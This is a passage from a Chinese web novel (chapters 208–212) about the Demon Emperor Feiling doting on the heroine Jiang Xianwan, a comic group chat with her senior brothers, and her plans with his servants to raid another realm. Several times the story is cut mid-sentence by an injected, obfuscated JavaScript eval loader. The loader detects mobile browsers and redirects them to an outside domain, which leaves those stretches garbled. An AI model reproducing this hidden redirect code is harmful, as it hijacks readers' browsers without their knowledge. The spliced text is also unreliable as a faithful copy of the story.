趁着非翎晃神,抓住机会,打开死结,试图逃跑的小紫,一头缠着柱子,在江献晚和非翎的拔河中,抖出一片片令人心疼的紫色残影。 非翎自个的身子成功送出,就差最后一垒,这会儿笑的要开心**。 端庄的用了两分力,扯过江献晚手中的小紫,顺便将榻上人捞过来,让她如方才般攀上自己的脖颈。 低下头,响亮的朝她脸上使劲亲了一口。 “我先安顿好小紫,再来陪你。” 江献晚:“……”有时候,真的挺想报警的。 小紫痛苦的扭成两个大字,外加三个感叹号。 等我!!! 非翎噗地一声轻笑,江献晚牙根子磨了一下,“你要带它去哪里?” 后者又抛给她一记媚眼,羞答答道:“它总不能跟我们同睡吧,魔殿正好有一间卧室,里面的法器需要雷电之力淬炼,小紫睡那里刚好。” 江献晚:“……” 这么狼心狗肺的话,他是怎么毫无负担,用我是不是很贴心的语气说出来的? 这就他口中说的做客? 小紫:……! 这小贱魔太狗辣! 谁家做客能做成这样子的! 江献晚狠狠抹了一下脸颊的口水印,咬着牙,从牙缝里迸字。 “打狗也要看主人,小紫必须跟我待在一起。” 万一,他俩再擦枪走火怎么办? 小紫好歹能把他俩先电死。 小紫:…… 虽然挺感动的,可它不是狗,她也不是它主人啊! 非翎看他俩穿一条裤子的要好劲,当即就委屈地拒绝了。 “不要,你俩黏在一起,我会拈酸吃醋的。” “小紫大了,得自个睡!” “就像方才,若是被它瞧见什么不该瞧见的,我也会吃醋的。” 一番极力拉扯,只有非翎幸福的世界达成了。 他缓步悠然,拖着扭成滚刀肉的小紫,一路火花带闪电。 全然不觉得的分开一人一电是多么残忍的一件事。 江献晚唇颤了一下,只能回以小紫一个‘走好’的同情眼神。 直到非翎脚步轻快的折返,将她抱入侧殿汤池。 他将那吐水的兽首上的机关轻轻一转,兽口中温热的水转为冷水,热烟便立刻停歇。 第 208 章 正在输入 江献晚伏在汤池边缘凌乱的视线落不到实处仍是无法接受自己身处非翎寝殿还与非翎滚了床单的现实。 她模糊抬眸望向单膝在她身边半跪腰背挺阔腰线精瘦眉眼多了几分认真的年轻男人依旧有些抗拒。 非翎对她的喜欢和执着未免太过于突兀。 明明想要她又作出这番君子的模样紧要关头刹车。 “你喜欢我哪里我改。” 非翎探了探水温似乎没有察觉出她的异样神色。 认真思索片刻态度真诚语气郑重。 “喜欢你……活着。” 江献晚沉默半晌眼底浮出浅薄的凉意。 “你觉得你很幽默吗?” 她其实一直觉得在黑市第一次遇见非翎便已经察觉她炉鼎的体质。 一切的所作所为 他今日的君子作为更多的像是披着羊皮的狼想叫她心软。 非翎如何看不出她反常而明显的厌恶唇角的弧度立时收起。 他背对着一片暖黄的烛光将江献晚笼罩在阴影中也将她眼底流露出的抵触和冷淡尽收眼底。 非翎先是疑惑和委屈脑中灵光一闪眸中的光一瞬宛如通电格外的明艳。 举起三根手指盯着面无表情的江献晚。 “我非翎今日对天发誓我若奔着什么琉璃玉骨对江献晚有一丝虚情假意必定死于万道天……唔。” 剩下的话被一只纤细的手粗暴的堵了回去桃花似的唇瓣更是被三根手指头拧的通红一片。 非翎掰她的手并且迅速舔了一下含糊不清“唔……让我讲完!” 晚晚竟然是这般想他的。 他今个非要自证清白! 难怪晚晚总不回他信这个误会他必须给解开了! “闭嘴!” 被舔了指尖的江献晚鸡皮疙瘩都起来了。 眉眼间的厌恶被这一舔更是舔的乌泱泱消散。 她一手粗暴的折下非翎再次并起的三根手指一手死死堵着他的嘴。 “非翎!你是不是有病!” 修道者最重誓言,若是对天起誓,却做不到,轻则报应不爽,重则身死道消。 他竟然敢说死于万道……也不怕被劈的渣都不剩! 更刺激的还在后面。 非翎手腕一拧,温柔而强势的攥上她两只手腕,挣脱不得。 在江献晚因惊愕而微微睁大的眸子中,唇角弧度灿若桃花。 他低头,鼻尖轻蹭了江献晚的鼻尖。 声音低沉、严肃,而又含着丝丝缕缕的缱绻。 “我非翎今日对天发誓,我若对江献晚有一丝虚情假意,必定……” “啪!” 一记清脆而响亮的耳光,抽懵了非翎。 他呆呆的捂着脸,双眼震惊,睁大到极限。 江献晚眼比他瞪的还大,也不知哪里来的力气,挣开禁锢。 这一巴掌,力道十足,手心震的又疼又麻。 她甩甩手,对还处在懵逼中的魔皇冷冷道:“滚出去!” 非翎有病,非药石可医! 非翎:“……” 这一场酣畅淋漓的回合,终于以魔皇顶着一张清晰巴掌印,委委屈屈坐到殿外门槛处结尾。 他恹恹的垂着眸子,忧郁了一会儿,很快容光焕发,点开‘相亲相爱一家人’信道。 传信如下: “哥哥,哥哥,你们猜我见到谁了?” 风回雪找不到江献晚,更联系不上她的信道,正是暴躁不安,又见非翎来犯贱,忍了几忍,难得回信,将气算在他头上。 风回雪直接发来语音,一顿暴躁输出:“小贱魔,贱你大爷!滚!” 非翎:“……” 听的出,狐狸还挺生气。 非翎揉了揉耳朵,重振旗鼓,嗓音甜甜,尾音拐了十个八弯。 “哥哥~你好暴躁啊~” “发生了什么,瞅把我哥哥给气的~~~” “哎呀~何至于此呀~” 见信道之中,一直显示风回雪正在输入,他可以想象,狐狸骂的多脏,多长。 非翎坐在门槛上,一条长腿微微伸展,抿着唇直乐。 又输入一句,及时打断风回雪问候他亲朋好友的友好输出。 重拳出击。 非翎:“唉,难怪晚晚不要哥哥你~” 风回雪:“……!” 片刻。 风回雪:“江献晚是不是在你那里!” 南北帝尊,凤仪剑尊,瞬间上线。 云为泽正在输入…… 花不休正在输入…… 帝隐:“晚晚去了魔域?” 风回雪:“非翎!你特么说话!” 风回雪: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15965109|177725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “说话!!!” 花不休正在输入…… 云为泽正在输入…… 帝隐:“发生了什么事?风回雪,晚晚不是在妖域吗?” 风回雪:“说!!!” 帝隐:“非翎,晚晚在你那里?” 风回雪:“**!你特么哑巴了!还是嗓子被屎糊住了!” 非翎:“……” 花不休正在输入…… 云为泽正在输入…… 风回雪:“说话!!!” 风回雪:“我特么叫你说话——!!!” 风回雪:“你特么别等我过去了!” 帝隐:“大家别吵,非翎,到底怎么回事?” 花不休艾特非翎:“非翎,你是活够了吗?” 云为泽艾特非翎:“贱。” 风回雪:“你们都给我闭嘴!” 风回雪:“非翎!你特么找死!!!江献晚到底在不在你那里!” 非翎:“……” 没气度的狐狸! 难得信道中有这般活跃的时候,几个哥哥都在线,还对他无比热情。 非翎唇角勾起欢天喜地的愉悦弧度,大大伸了个懒腰。 终于在狐狸要把自个活生生气过去的时候,好心地发送出一句低沉而沙哑,仿佛刚做完那档子事的餍足音调儿。 非翎:“唔……方才不方便。” 又点出令人想歪的一句。 非翎:“哥哥别急嘛,晚晚这会儿在沐浴~” 风回雪正在输入…… 帝隐正在输入…… 花不休正在输入…… 云为泽正在输入…… 又是半晌。 风回雪:“草你*(哔——此处自动消音)!!!!!” 非翎:“……” 他被没气度的狐狸骂了三圈,眼看祖宗的棺材板都快压不住了。 非翎故作受伤之态,捏着嗓子抽泣:“哥哥怎能如此想我?” “晚晚春潮期发作,自然要用冷水泡一泡啊。” “你自己照顾不好她,还让她肩膀受了伤,骨头都碎了,反倒来凶人家,嘤嘤嘤~没天理!” “人家的心都要碎了~~~” 风回雪正在输入…… 帝隐正在输入…… 花不休正在输入…… 云为泽正在输入…… 第 209 章 倒立 帝隐:“晚晚受伤了?” 非翎强忍委屈,又端的十分懂事,湿哑着嗓子:“嗯,肩骨碎了些,已无大碍,哥哥放心。” 风回雪正在输入…… 花不休正在输入…… 云为泽正在输入…… 帝隐:“她受着伤,还在泡冷水?不可!” 非翎:“哥哥别担心,伤口处有我的魔息护着。等她好了,我拍一张给哥哥瞧瞧。” 风回雪正在输入…… 花不休正在输入…… 云为泽正在输入…… 帝隐:“多谢你。” 帝隐:“请照顾好她。” 风回雪:“她现在怎么样了?” 风回雪:“她还好吗?” 非翎:“哥哥放心,我在门外守着呢。” 花不休正在输入…… 云为泽正在输入…… 非翎艾特花不休和云为泽:“两位哥哥也放心,我会照顾好咱们晚晚的!” 风回雪正在输入…… 片刻。 花不休:“滚。” 云为泽:“滚。” 帝隐:“晚晚因何受了伤?” 风回雪:“你没……” 非翎艾特帝隐:“哦,对了,小紫也在这儿做客哦,它说晚晚在沙漠猎杀妖兽受了伤,遇到龙卷风,恰巧来到魔域。” 非翎艾特风回雪:“哥哥,我承认我有小心思……” 非翎做作的表情一散,眉眼忽然软了下来,犹豫几番,终是没点出剩下的话。 他要的是江献晚的心甘情愿。 他要的是堂堂正正融入这个家。 他要的是几个哥哥完完全全认可他。 半炷香后。 非翎望着风回雪发来的一行字,只觉视线一度扭曲、恍惚。 他足足看了十遍,还拿袖子擦了擦玉简。 非翎:“哥哥真的愿意?!” 风回雪:“闭嘴!” 风回雪:“我现在就去接她!” 非翎:“别!别来!” 非翎:“哥!我错了!您 是我亲哥!” 非翎:“千万别来!!!” 帝隐正在输入…… 花不休正在输入…… 云为泽正在输入…… 风回雪:“滚!照顾不好她,我弄死你!” 非翎:“多谢。” 江献晚泡了一夜又一日的凉水,换了魔侍送进来的新衣,便看到非翎宛若一只快乐的花蝴蝶闯了进来,黏黏糊糊扑在她身上。 搂着她的腰,一个劲儿的又拱又晃。 “我与哥哥们说过了。” “留几日好不好?” “晚晚~” “就几日嘛~~~” “求求了~~~” 江献晚瞅着非翎小媳妇似的,眼巴巴举到眼前,长的像大鼻涕的一片画魔,沉默须臾,强忍着恶心,敷在脸上。 推开他,照着穿衣镜一看,而后大步迈开,一脚踹开房门。 “传膳!” 霓裳:“……” 霓裳呆滞的望着静静躺在地上的半扇门,再看双手叉腰,悍若老虎的女子。 还有那小媳妇似的,双腮泛红,捂着脸,一阵幸福低声惊呼“啊啊啊啊啊”的魔皇。 陷入怀疑魔生的震惊。 **,这娘们哪里找的,太彪了! 想点个赞是怎么回事。 她家皇竟然还有受虐倾向,喜欢这种调调? 好变态! 霓裳心底泛起一点嫌弃,看江献晚的眼神都变了。 尊敬、崇拜、敬仰,炽热的目光,仿佛有两团熊熊烈火在燃烧。 江献晚:“……” 他们魔,都这么有病吗? 怜爱地拍拍霓裳,“乖,上菜了。” “是!”霓裳立定。 对比阴晴不定、辣手摧魔的魔皇,江献晚友好的态度让她感动的两眼泪花。 胸脯一挺,手一挥。 “快点!耽误魔后用膳,老娘扒了你们的皮!” 江献晚:“……” 非翎:“……” 看得出来,霓裳角色投入的挺快的。 晚膳很快呈上来, 非翎忙起身,大步迈开腿儿,想要占了江献晚身边的位置,却被霓裳直接挪开了那张凳子,逼的退后两步。 他眼皮轻轻一跳,看着俩姐妹儿旁若无人,聊的有来有往,半晌,默默坐到另一侧。 霓裳自动站在江献晚身边,热情无比地为她添菜。 “水晶虾包,粉蒸蟹肉,红烧蹄髈,爆炒灵鹤肉,红烧寒溪鱼……” “您就吃!一吃一个不吱声!” 望着饭桌上,尽数摆放在另一侧的遥远饭菜,非翎捏着筷子,再次陷入沉思。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15965110|177725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江献晚盯着冒尖尖的饭,有些惊讶,“你们魔不是喜欢吃腐肉的吗?” “啥?”霓裳一愣,姣好的眉恶狠狠一竖,“谁说的!” 那是底层魔才吃的东西,他们的饭可比两境精致多了! 江献晚不在意的摆摆手,招呼她,“别忙了,先坐下吃饭。” 霓裳一双眼睛都在她身上,顺着力道,一屁股坐了下来,丝毫没注意到魔皇眯眸盯她的小眼神。 “您尝尝,要是不合胃口,我让他们再换一桌。” 江献晚把本是魔皇的菜碟推给她,“不用,我不挑食。” 霓裳见她很好说话,亲近感倍增,“要不要来两杯?” “不喝了吧。” “喝吧,魔域的酒很好喝的。” “那,整两杯?” 显然,霓裳就等她说这句话。 哐当一声,不知从哪里掏出两坛酒,重重的往桌上一放,麻溜拍开。 “爽快!” “我就喜欢爽快人!” “哦对了,我叫霓裳,还不知道您叫什么?” “……白莲花。” “好名字!来!莲花魔后,我敬您一杯。” “叫我莲花就行。” “莲花。” “霓裳。” “好朋友!” “一辈子!” 非翎:“……” 望着两个脚踩凳子,举坛豪饮的姐妹儿,非翎“咔嚓”一下,默默掰断了筷子。 他辛辛苦苦拐来的媳妇,合着是给霓裳找的魔后? 那,坐在这里的他……算什么? 非翎若有所思的看着一桌子空盘空坛,半天回过神,缓缓转眸。 哀怨的目光死死绞着,喝的东倒西歪,勾肩搭背,手拉手准备去逛街的一人一魔。 终于忍无可忍,拿起无菜可夹的断筷子敲了敲桌。 一人一魔……根本没听见。 “我跟你说,魔都有条街,里面的男魔,各个身材那叫一个绝!” “真的?有多绝?” 能被霓裳这个大美人叫绝的,那肯定绝。 “八块腹肌是最基本的。”霓裳贼兮兮地揽上她的脖领,凑近,“这不是重点,重点是,有好几个会倒立!” 江献晚没觉得有什么特别,“倒立?我也会单手倒立。” “我说的倒立是……” 霓裳小脸酡红,揪着她的耳朵,一阵耳语。 第 210 章 难道你就没错吗 随后胳膊肘一撞,挤眉弄眼,笑容猥琐,“要不要放松放松? 江献晚有些犹豫,“……不好吧。 她没点过男模,更没点过男魔。 “没出息,你不去我可自己去了! 霓裳嫌弃地瞪一眼江献晚,作势离开。 江献晚一把拉住她,“那个,放松放松也行。 来都来了。 再说,长夜漫漫,无心睡眠,来点夜生活也行。 主要……倒立是怎么做啊。 神色冷漠,勾唇冷笑,浑身散发着恐怖气息,斜靠在门框上的魔皇暗暗顶了顶腮,站不住了。 抬起长腿一脚踹飞霓裳,再一把捞回江献晚。 短促冷笑一声。 “将霓裳关入暗室,一月不许她进花巷! 撅着屁股趴在地上的霓裳:“……丸辣,她怎么把辣手摧魔、天打雷劈的皇给忘了!!! 江献晚:“…… “不要啊! “能不能找两个肌肉男跟我一块去暗室啊!!! 凄厉绝望的声音传遍整个魔殿上空,两个魔无情的拖着霓裳的两条腿渐行渐远。 江献晚被扔在阔榻上。 魔皇此刻少年小号的模样,一条长腿压上,气势迫人,唇角挂着甜腻的笑,嗓音却低沉充满危险。 “倒立?放松? 骤然见到非翎露出另一副疯批属性的模样,江献晚沉默一瞬,而后面无表情坐起身。 “我参观参观魔域怎么了? 怎么了? 她那是参观魔域吗? 她那是参观人家腹肌和倒立! 非翎一咬牙,攥了她的手腕,在掌中摩挲。 “八块腹肌我有,倒立我会,要不,你再参观参观? 江献晚默默撤回一只手,并重新躺了回去。 “我忽然觉得有点困了呢。 非翎:“…… —— 她被非翎愣是盯了整整一夜,天亮时翻身坐起,手指撩开纱帐,一脚踩在睡在榻边地板上的少年,精神抖擞跳下床。 非翎捂着心口,望向对 镜束发的女子,眸光幽怨。 昨晚哄着他放小紫离开,还哄着他放了霓裳,又跟三个师兄腻腻歪歪聊了大半夜。 独独不怜他。 江献晚权当看不见,推开门,果不其然看到被放出的霓裳。 霓裳学精了,踮脚往里看了一眼,然后挤眉弄眼,声音严肃而刻板。 “要不要……” 正束发的魔皇悄然竖起耳尖。 听到后半句“一起去杀魔兽”,缓缓松了一口气。 江献晚眼睛一亮,语气稀松平常,“去哪杀?” “魔兽森林。” “走!” 一人一魔勾肩搭背走了。 非翎眸光莫名,盯着两道消失的身影,忽然看向门外屋脊上垂落的一截尾巴。 “看着点,别让魔后给我戴绿帽子。” 幽冥:“……” 他一觉睡醒,魔域莫名其妙多出个魔后,他家皇还变了心,反手给江献晚戴了一顶绿帽子。 这会儿又来担心魔后给他戴绿帽子了? 隐在暗处的幽冥心中生出一丝嫌弃,一甩尾巴,不情不愿鬼鬼祟祟跟上。 事实证明,他家皇不愧是皇,很有先见之明。 一人一魔两个好姐妹儿,大摇大摆在魔都逛了三圈,天色落幕时,丝滑而目标明确地走进一条充斥着香味的巷子。 幽冥忍不住在心中为自家皇点了根蜡烛。 还真是叫人心疼。 这恐怕就是他应得的报应。 敢给江献晚戴绿帽子,活该他自个被魔后戴绿帽子! 不过,她们两个只是喝喝花酒,摸摸魔侍的手和肌肉,不算戴绿帽子吧? 幽冥尾巴盘在屋脊上,垂下一截身子,纠结的将自己打成蝴蝶结。 一眨眼。 “**!” 那么大两个女的呢! 幽冥急赤白脸找遍所有房间,花巷也翻了个底朝天。 意识到问题的严重性,鳞片炸出一溜花,着急忙慌甩着尾巴,一溜烟跑了。 他噼里啪啦创翻一路魔,一尾巴呼向魔皇寝殿大门。 当然,放在平时他肯定不敢这么做的。 可魔后昨天踹门板的动作真的好帅。 他一激动,尾巴不知道什么时候就学会了。 这些都不是重点。 重点是。 “不好了!魔后她果然给您戴绿帽子了!” 非翎:“……” 魔皇捏着糕点的手一顿,含星的眸子一滑,落在对面两个女子身上。 江献晚:“我没有!” 霓裳:“他瞎说!” 非翎眯眸,再看向黑色大蛟。 幽冥粗壮的蛟身卡在门缝,一双绿油油的瞳孔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我相信魔后只是犯了天底下大多数男人都会犯的错误,幽冥,难道你就没错吗?” 第 211 章 当家做主 晚晚是去了花巷不假,是点了男魔不假,是摸了人家也不假。 可晚晚记得给他带回来一块糕点,他已经很惊喜了。 晚晚怎么不给别人带,只给他带? 一定是开始接受他喜欢他了! 事情朝着始料未及的方向策马奔腾,幽冥一颗硕大的脑袋放空。 他喃喃自语:“……属下错哪了?” 她俩摸人家,他错哪了? 是他摁着她俩的头摸的吗? 非翎唇角浅勾,笑容甜腻,嗓音却染上了丝丝凉意。 “偷窥魔后,胆子不小。” “男人,就要大度一点。” 蠢货! 等会再扒了他的皮! 平常不都是悄悄告状的吗! 他还没正式登堂**就管这般严,晚晚肯定会觉得他拈酸吃醋又小气! 幽冥一双眼睛瞪的滚圆,似乎无法相信自家皇能说出这么不要脸的话。 什么叫偷窥? 不是他叫他偷啊呸! 跟踪的吗! 大度? 是谁怕被戴绿帽子,让他跟踪魔后,不大度的到底是谁? 好啊,他可算是看透了。 一块吃剩下的糕点就把他哄好了,开开心心把帽子往自个头上戴。 幽冥挨了一顿痛批,化作人形,垂头丧气蹲在地上修理门。 怀疑蛟生,怨念颇深。 他没想到心目中那个向来无所不能、撼天摇地的皇,原来心肠这般歹毒。 自个妻管严,怕媳妇,一个屁都不敢放就算了,竟让一条可怜无辜弱小无助的蛟背黑锅。 就因为他长的黑吗! 修完门,还要他把寝殿的卫生打扫一遍! 手擦! 他堂堂幽冥**征战四方,是拿来擦地板擦柱子的吗? 幽冥时不时幽怨的偷瞥一眼,跟个红蝴蝶似的、围着魔后疯狂打转、搔首弄姿的魔皇,再次生出淡淡的嫌弃。 他瘪着嘴收回视线,一道灵光忽然闪过,直击天灵盖! 皇既然无用……不如另投他主? 你看霓裳。 魔后刚来,就迅速认清了局势,地位水涨船高。 现在都敢骑他脑袋上,吆五喝六,左一句老娘右一句小蛟! 刚才走的时候还小魔得志,踹了他一脚! 这要是平时,他一个眼神过去都能给她吓尿。 现在好了,皇为了哄魔后开心,根本不管蛟的死活跟委屈! 幽冥越想越心寒,摁着抹布,一道直线抹到江献晚脚边。 非翎:“……? 这蠢蛟又想做什么蠢事? 蠢蛟抹布直往魔皇锦靴上怼。 “麻烦您让一让。 非翎:“……脚往后挪了一步。 “麻烦您再让让。 “让让。 “再让。 “让开! 幽冥心中冷笑。 呵。 果然如此。 非翎额角欢快蹦跳,正要一记魔气将蠢蛟揍个半死,江献晚茶盏一搁,悠悠道:“幽冥啊,请问魔域有荔枝吗? 被点名的幽冥嗖地起身,两只眼睛宛如灯泡,亮的闪闪发光。 瞅瞅,魔后多有礼貌,还跟他说请字。 反观他家皇。 幽冥略有点嫌弃地瞅了一眼站在凳子上,黑着脸,想打又不敢打他的皇。 毫不犹豫,脚底生风投奔江献晚的怀抱! “有的!属下这就去给您找! 非翎:“……妈的!你忘了一把屎一把尿把你喂大的我了吗! 很快,非翎发现,他的地位,好像……一落万丈。 诸魔对他视若无睹。 比如—— “妖域的情报呢? 左手边幽冥立刻贴心递上,然后又赶紧拿起扇子给江献晚和霓裳扇凉。 狗腿至极! “南境的交换弟子还未离开,小道消息,天狼王十日后要**。 江献晚听到这个消息,波澜不惊。 以天狼王感人的智商,这个反,九成九不能够成功。 不过,还是要提防他想出什么损招,又或者狗急跳墙,干出同归于尽的事儿。 毕 竟,坏人绞尽脑汁,不如蠢蛋灵机一动。 她必须要赶在天狼王**前,回到妖域。 待会还得跟风回雪通个信,让他想个法子让何未语他们提前离开,以免受到连累。 不等她说话,右手边霓裳递上一叠纸张,得意洋洋,“还有南境北境的,都在这里。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15965112|177725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “除了虚古境好像出现异动,南北六宗去了一些人,倒是风平浪静。” 这个,江献晚知道,将荔枝嘎嘣一咬,“界域的有吗?” “有!” “北境有几个弟子,作为交换生去了界域,其中就有林轻染。” “别说,她还挺能蹦跶。” 霓裳后来将大赛的前后看了一遍,对林轻染的感观极差,着重提了一下她。 幽冥凑过去,绿眼睛绿油油的亮,“咱们这是要扩大地盘了吗?” 孤家寡人坐在一人两魔对面,根本挤不进去的魔皇:“……” 江献晚诧异挑眉,不想他竟有如此觉悟,一心想着壮大魔域的发展。 “你想往哪儿扩?” 幽冥是个好战分子,不打架浑身痒的难受,哐当一拍桌子。 “我觉得妖域界域都挺合适!” “这两域乱的很,你挂帅,我前锋,率领众魔,咱们正好趁此机会攻打他们,能吞一块是一块。” “魔碑还能往外挪挪。” 没想到这小蛟胃口还挺大,江献晚看了一眼满脸写着家门不幸的非翎,难得良心发现。 “不好吧?” 她才来三日啊,魔域就成她的了? 幽冥嫌弃地一摆手:“什么不好,您不用看他。” “现在是您当家做主。” “您一句话的事。” 非翎:“……”我扒了你的蛟皮。 非翎其实还真没想打他,暗地里巴不得幽冥多说点。 这招叫曲线救国,可以侧面加深他和晚晚之间的夫妻感情。 再说,他是晚晚的,魔域自然也是啊,就没毛病啊。 大事上可不就更得晚晚当家做主。 而且,这不足以证明晚晚真的超厉害,短短三日征服上下,引的众魔狂热追捧。 不少魔侍都喜欢围着江献晚,还学会了拿出各种小零食投喂。 就连那几个长老,有啥解决不了的问题都开始带着小零食找江献晚了。 这,更能证明他老婆贼厉害,他眼光更厉害! 霓裳现在跟江献晚好的穿一条裤子,一拍桌子,斩钉截铁,“先打界域!” “对!”幽冥又跟着一拍,“界域这群王八羔子,连着两日偷渡到魔兽森林,还抓走了好几头魔兽!” 第 212 章 先去界域 说罢,愤愤瞥了一眼只知道一脸羞涩而又荡漾盯江献晚的魔皇,嫌弃地收回视线。 “刚好手底下的魔打听到界域那些王八蛋明天要去黑森林。 “霓裳说的那什么染的也去。 “明天打完界域,顺带打那什么染,后天干妖域! 江献晚:“…… 你当界域和妖域真就两盘菜,说掀就掀的吗? 不过。 “行,先去界域! 林轻染被放出禁地,刚养好了伤,就主动提出想去界域,定然与厄弓脱不了关系。 那她带着灵休帝尊的厄弓去界域,是想做什么? 想到云为泽曾经跟她讲的野史,界皇与灵休帝尊之间或许有不可言说的关系。 这厄弓,莫不是从前也能为界皇所用,与之亲近? 那林轻染想通过厄弓在界域得到什么? 江献晚有些想不明白,反正顺路,去瞧瞧也行。 她迫不及待的活动了一下手腕,“敢抢咱们的魔兽,咱们也抢了他们的! 有了江献晚的点头,两魔激动不已。 望着头碰头,围着地形图一阵嘀嘀咕咕的三颗脑袋,非翎生出一种前所未有的幸福。 真好,晚晚说咱们。 这算不算终于把魔域当成自己的家了。 非翎心底一阵激荡,笑眯眯地凑过去,发表意见,“我觉得咱们…… 幽冥不耐烦地扒拉开他,“没跟你咱们,你少缠着她!我们聊正事呢,你能不能上一边多剥点儿荔枝去! 非翎:“…… 你现在就这样对待一把屎一把尿把你喂大的我吗? 魔皇剥了两盘荔枝,喜滋滋地就要搁在江献晚面前,被幽冥眼疾手快地端走,“哐当放江献晚面前。 端了个寂寞的非翎:“…… 奈何幽冥一个眼神都没舍得分给他,像是那两盘荔枝是他剥的一样。 “刚剥好的,您吃! 又语重心长,“您真的该管管了。 再凑近,小声蛐蛐魔皇。 “他除了吃就是睡。 非翎:“……他总算体会到了被幽冥蛐蛐的 感受了。 “嗯,待会就管。江献晚将地形图一卷,“你俩先回去睡吧,明天一早出发,去黑森林。 霓裳不太想走,热烈提议道:“今天魔都举行折月节,要不要一起出去溜达两圈? 说到这个,幽冥也极力推荐,“今天魔都的魔都会去魔塔那里看烟火。 江献晚心中一动。 她这两天自然听到了魔侍们都在讨论这个节日,非翎也缠了她两天。 正想答应,始终坐在一旁,默默不语的魔皇慢条斯理的理了理袖子,淡淡道:“幽冥霓裳。 后知后觉感受到看似双眸含笑,实则毒若蛇蝎的目光,幽冥和霓裳齐齐一个激灵。 他们家皇现在虽然没地位,可好歹还是个名义上的……皇。 手段狠辣,收拾起魔,一拧一个脑袋瓜,一拧一个脑袋瓜,还挺吓魔的。 霓裳偷偷摸了摸自己的脑袋瓜,哈哈干笑,“那个,我还有事,我先走了。 幽冥也摸了摸自己的脑袋瓜,跟着干笑,“那个,突然好饿,我去吃个饭。 江献晚:“…… 四下终于无魔打扰,非翎竟有种感动到想哭的冲动。 屁股迫不及待一抬,丝滑地坐到江献晚身边的凳子上,身子黏黏糊糊一歪,双手灵活的环了上去。 动作间,故意将微敞的领口弄的大一些,露出大片性感的肌肉线条。 含羞带怯,轻眨乌睫,两腮泛起浅浅的绯红。 “晚晚打算怎么管为夫? 江献晚面无表情地把他衣裳往中间死死一拉。 “第一,管好你的衣裳,不该脱的别脱。 一天到晚跟个开屏孔雀求偶似的,真的看累了。 “第二,管好你的嘴,不该说的别说。 自从那日擦枪走火,非翎更骚更浪了。 一会儿切小号,一会儿上大号,浑身解数,无所不用其极,不分时间地点的来勾引她,撒娇问她要名分。 骚的简直没眼看。 导致她免疫力大大提高,现在都有点麻了。 江献晚反手推开他的脸,没心情跟他嘚吧,对于明天顺路去一趟界域的事,倒是挺期待的。 她骨子里 是个闲不住的人,平日不是被花不休摁着揍,就是跟三个师兄粗暴的切磋,后来整日跟时云霄他们打。 非翎这几日又日夜缠着她,骚话连篇,一个不留神就黏了上来,撕都撕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15965113|177725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不掉。 打他吧,他舔你手心。 不打,憋的手痒,总觉得想揍点什么。 她现在急需一个发泄的目标。 正好,林轻染撞上来了。 非翎委屈地瘪瘪唇,若无其事,实则迅雷不及掩耳之势,一手环上她的腰肢,滑溜溜的蛇一般,没骨头似的又贴了上去。 却问,“你带着他俩不怕他俩认出来?” “不如,我跟你去好不好?” 江献晚忽略他噼里啪啦的小算盘,熟稔的拍开勾她腰间垂落丝带的指尖。 “霓裳早就认出是我了。” 是的,不知道是不是那一锅闷的太狠,导致霓裳对她念念不忘,刻骨铭心。 她俩那天手拉手逛街的时候,霓裳忽然停下脚步,瞪着俩眼珠子,冷冷一笑,“白莲花!我叫你一声你敢答应吗?” 江献晚双臂环抱,呵呵冷笑:“你叫?” 霓裳深吸一口气,低低一声暴喝:“江献晚!” 听到这里,非翎乐的直笑,连带着江献晚跟着他轻颤。 “那幽冥呢?” “他脑没小枣大,以为我就是个被你强掳过来的可怜散修。” 整天跟在她屁股后面,莲花魔后莲花魔后。 